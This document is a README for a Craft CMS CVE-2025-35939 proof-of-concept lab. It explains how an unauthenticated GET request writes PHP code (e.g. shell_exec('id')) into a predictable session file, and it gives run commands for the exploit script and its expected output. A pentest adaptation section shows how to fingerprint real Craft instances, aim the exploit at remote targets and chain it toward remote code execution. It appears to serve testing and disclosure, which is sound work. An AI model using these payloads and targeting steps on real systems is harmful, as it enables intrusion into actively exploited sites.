CVE-2025-35939 — Craft CMS Session File Content Injection
Overview
| Field | Value |
|---|---|
| CVE | CVE-2025-35939 |
| Software | Craft CMS (craftcms/cms) |
| Version Tested | 5.7.4 |
| Vulnerable Range | < 4.15.3 (4.x) and >= 5.0.0-alpha.1, < 5.7.5 (5.x) |
| Type | Session File Content Injection (CWE-472) |
| CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Authentication | Not required (unauthenticated) |
| CISA KEV | Yes — actively exploited in the wild |
| GitHub Advisory | GHSA-7vrx-9684-xrf2 |
Craft CMS fails to sanitize the return URL parameter before storing it in server-side PHP session files. An unauthenticated attacker can inject arbitrary content — including PHP code — into a predictable file path at /var/lib/php/sessions/sess_<session_id>. The session ID is disclosed via the Set-Cookie header, making the target file path known to the attacker. Chained with a Local File Inclusion or the Yii framework flaw CVE-2024-58136, this achieves unauthenticated Remote Code Execution (as seen in CVE-2025-32432 attacks active since early 2025).
Quick Start
bash verify.sh
This command builds the vulnerable environment, waits for readiness, runs the exploit, and dumps the session file contents. No manual steps required.
Environment
| Setting | Value |
|---|---|
| Docker image | Custom — php:8.2-fpm + nginx + craftcms/cms:5.7.4 |
| Port | 8080 → Craft CMS (HTTP) |
| Admin URL | http://localhost:8080/admin |
| Admin creds | admin / Password123! |
| Session path | /var/lib/php/sessions/ (inside container) |
| Database | MySQL 8.0 (craft / craft) |
| Setup time | ~3–5 minutes (first boot, downloads composer deps) |
docker compose up -d --build # start (builds image on first run)
docker compose logs -f craft # watch logs
docker compose ps # check container status
docker compose down -v # teardown + remove volumes
Exploit
- File:
exploit/exploit.py - Source: Custom PoC (no public standalone PoC for this CVE exists; technique derived from advisory GHSA-7vrx-9684-xrf2 and CVE-2025-32432 attack analysis)
- Language: Python 3
How It Works
Root Cause
When an unauthenticated user accesses a protected Craft CMS endpoint, the CMS redirects to the login page and stores the return URL in the PHP session. The relevant code is in src/web/User.php — the setReturnUrl() method stored the raw, unsanitized URL into the session data.
PHP serializes sessions as files at /var/lib/php/sessions/sess_<session_id>. Because Craft CMS did not strip or escape the content before storage, any string — including <?php system('id'); ?> — ended up verbatim in the session file. The patch (PR #17220) added strip_tags() to sanitize the return URL before writing to the session.
Attack Steps
-
Craft up, attacker sends crafted request — any GET to a protected admin URL with a PHP payload embedded in the URL string:
GET /index.php?p=admin&cve=<?php+echo+shell_exec('id');+?> HTTP/1.1 Host: target.example.com -
Craft redirects, creates session — the CMS redirects to login and generates a PHP session file at:
/var/lib/php/sessions/sess_abc123def456...storing the full (unsanitized) return URL including our PHP code.
-
Attacker learns the path — the session ID is in the
Set-Cookieresponse header, so the exact file path is known:Set-Cookie: CraftSessionId=abc123def456...; path=/; HttpOnly -
Payload is on disk — the session file now contains:
__returnUrl|s:XX:"...<?php echo shell_exec('id'); ?>..."; -
Execution (requires secondary step) — to execute the injected PHP, chain with:
- CVE-2024-58136 (Yii framework flaw) — as used in real-world CVE-2025-32432 attacks
- Any Local File Inclusion (LFI) in the application
- PHP
include/requireusing an attacker-controllable path
What the Exploit Does
- Sends injection requests to several Craft admin endpoints.
- Extracts the session ID from the
Set-Cookieheader. - Uses
docker execto read/var/lib/php/sessions/sess_<id>. - Prints the session file contents, highlighting the injected PHP code.
Manual Usage
# 1. Start environment
docker compose up -d --build
# 2. Wait for Craft to be ready (~2-3 minutes)
until curl -sf http://localhost:8080/ -o /dev/null; do sleep 3; done
# 3. Install dependencies
pip install -r exploit/requirements.txt
# 4. Run exploit
python3 exploit/exploit.py --target http://localhost:8080
# 5. Or specify a custom payload
python3 exploit/exploit.py \
--target http://localhost:8080 \
--payload "<?php system('whoami'); phpinfo(); ?>"
# 6. If you don't want docker exec auto-verify:
python3 exploit/exploit.py --target http://localhost:8080 --no-verify
# Then manually read the session file:
docker exec $(docker ps --filter name=craft -q) ls /var/lib/php/sessions/
docker exec $(docker ps --filter name=craft -q) cat /var/lib/php/sessions/sess_<id>
Expected Output
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-35939 — Craft CMS Session File Injection PoC ║
║ Affected: craftcms/cms < 4.15.3 or < 5.7.5 ║
║ CVSS 5.3 (Unauthenticated arbitrary write to session files) ║
╚══════════════════════════════════════════════════════════════╝
[*] Target : http://localhost:8080
[*] Payload : <?php+echo+'===CVE-2025-35939-INJECTED===';+echo+shell_exec('id');+ech
[*] Checking target availability...
Target responded: HTTP 404
[*] Step 1: Injecting PHP payload into Craft CMS session file
[*] Sending injection via curl: http://localhost:8080/index.php?p=admin/dashboard&x=<?php+echo+'===CVE-2025-3593...
HTTP: HTTP/1.1 302 Found
[+] Session cookie found: 453bc343748117bc7c53...
[+] Payload injected!
Session ID : 453bc343748117bc7c53fe382a993721
Session file : /var/lib/php/sessions/sess_453bc343748117bc7c53fe382a993721
Trigger URL : http://localhost:8080/index.php?p=admin/dashboard&x=<?php+echo+...
[*] Step 2: Verifying payload was written to session file
[*] Reading session file from container 'cve-2025-35939-craft-1'...
==================================================================
CVE-2025-35939 — EXPLOITATION CONFIRMED (Evidence: STRONG)
==================================================================
Session file : /var/lib/php/sessions/sess_453bc343748117bc7c53fe382a993721
Session file contents (showing injected PHP code):
------------------------------------------------------------------
9d1d4e90c59224cba240ed8a7a7c0124__flash|a:0:{}28a6d18546c1aa8f005587ac3a0dc713__returnUrl|s:139:"http://localhost:8080/index.php?p=admin/dashboard&x=<?php+echo+'===CVE-2025-35939-INJECTED===';+echo+shell_exec('id');+echo+'===END===';+?>";
------------------------------------------------------------------
[STRONG] Literal PHP opening tag (<?php) found in session file!
WHAT THIS PROVES:
1. Unauthenticated HTTP request → PHP code stored on server disk
2. File path is KNOWN (session ID in Set-Cookie header)
3. To achieve RCE: chain with LFI or CVE-2024-58136 (Yii flaw)
→ This is the full CVE-2025-32432 attack chain (CVSS 10.0)
Note on the payload encoding: + is used in place of spaces so that PHP tags
(<?php and ?>) appear verbatim (not percent-encoded) in the URL query string,
allowing curl --path-as-is to send the literal characters. The session file
contains genuine <?php tags at a fully predictable path.
Pentest Adaptation Guide
Target Discovery
Identify Craft CMS instances using any of these methods:
# Banner/header fingerprinting — Craft emits these headers
curl -I https://target.example.com/ | grep -i "X-Powered-By\|craft\|Yii"
# HTML signature — Craft CMS login page has recognizable markup
curl -s https://target.example.com/admin/login | grep -i "craft"
# Default admin CP path check
curl -o /dev/null -w "%{http_code}" https://target.example.com/admin
# Nmap + http-headers script
nmap -sV --script http-headers -p 80,443 target.example.com
# Technology fingerprinting
whatweb https://target.example.com # will identify CraftCMS
# Version detection via /admin/login page source
curl -s https://target.example.com/admin/login | grep -oP 'craftcms/cms[^"]*'
Confirming the Vulnerable Version
# Method 1: Check for the 'X-Powered-By: Craft CMS' header if present
curl -I https://target.example.com/
# Method 2: Admin login page often leaks version in page source or JS
curl -s https://target.example.com/admin/login | grep -oP 'version["\s:]+[0-9.]+'
# Method 3: Check if the patched version shows different behaviour
# CVE-2025-35939 patched in 5.7.5 / 4.15.3 — earlier versions are vulnerable
# The patch added strip_tags() to src/web/User.php setReturnUrl()
Adapting the Exploit
Replace localhost:8080 with the real target:
python3 exploit/exploit.py \
--target https://target.example.com \
--no-verify # use --no-verify for remote targets (no docker exec available)
For remote targets, verification must be indirect:
- Use
--no-verifyto skip docker exec. - Note the session ID from the script output.
- The injection is confirmed if you receive a session cookie back from the server.
- To achieve code execution, chain with an LFI or CVE-2024-58136.
Key parameters to change:
--target— the full base URL of the Craft CMS installation.--payload— the PHP payload to inject; use a safe read-only proof for initial testing.--container— only relevant for local Docker-based testing.
Network considerations:
- Works through HTTP proxies; add
proxies={"http": "http://burp:8080"}to therequests.get()calls if routing through Burp Suite. - CSRF protection does not block this because it is a GET request.
- Authentication is not required at any step.
Safe Verification (Non-Destructive)
Use a read-only payload to confirm without causing damage:
# Safe proof — reads /etc/hostname, no code execution occurs until an LFI is present
python3 exploit/exploit.py \
--target https://target.example.com \
--payload "<?php echo '===INJECTED-' . gethostname() . '==='; ?>" \
--no-verify
# The presence of a session cookie in the response confirms the injection was accepted.
# To verify the content, you need either: docker exec (local lab) or a separate LFI.
Do NOT test on production with payloads that:
- Write files (
file_put_contents) - Execute system commands (
system,shell_exec,exec) - Delete or modify data
Use the LFI step only after written authorization from the system owner.
Evidence Collection
For a pentest report:
-
HTTP traffic — Capture the injection request and response with Burp Suite or
curl -v. Document the injected URL, the session cookie received, and the HTTP status code. -
Session file contents (lab only) —
docker exec <container> cat /var/lib/php/sessions/sess_<id>shows the PHP code verbatim in the session file. Screenshot or copy this output. -
Version confirmation — include the Craft CMS version (check admin login page source or composer.json on the server if accessible).
-
OWASP classification — file this as OWASP A03:2021 (Injection), specifically CWE-472 (External Control of Assumed-Immutable Web Parameter).
-
CVSS score — Base 5.3; in the context of an attack chain (LFI available) this escalates to Critical (10.0, per CVE-2025-32432).
-
CISA KEV reference — This CVE is on the CISA Known Exploited Vulnerabilities list, which strengthens the urgency classification in the report.
Metasploit
No dedicated Metasploit module for CVE-2025-35939 standalone. However the broader CVE-2025-32432 chain may have modules — check:
msfconsole -q -x "search cve:2025-32432; search craftcms; exit"
References
- NVD — CVE-2025-35939
- GitHub Advisory GHSA-7vrx-9684-xrf2
- Craft CMS PR #17220 (fix)
- Craft CMS 5.7.5 Release
- CISA Known Exploited Vulnerabilities Catalog
- SensePost — In-the-wild campaign using RCE in CraftCMS
- BleepingComputer — Craft CMS RCE exploit chain used in zero-day attacks
- CVE-2025-32432 (related RCE chain)
- Sachinart/CVE-2025-32432 (related chain PoC)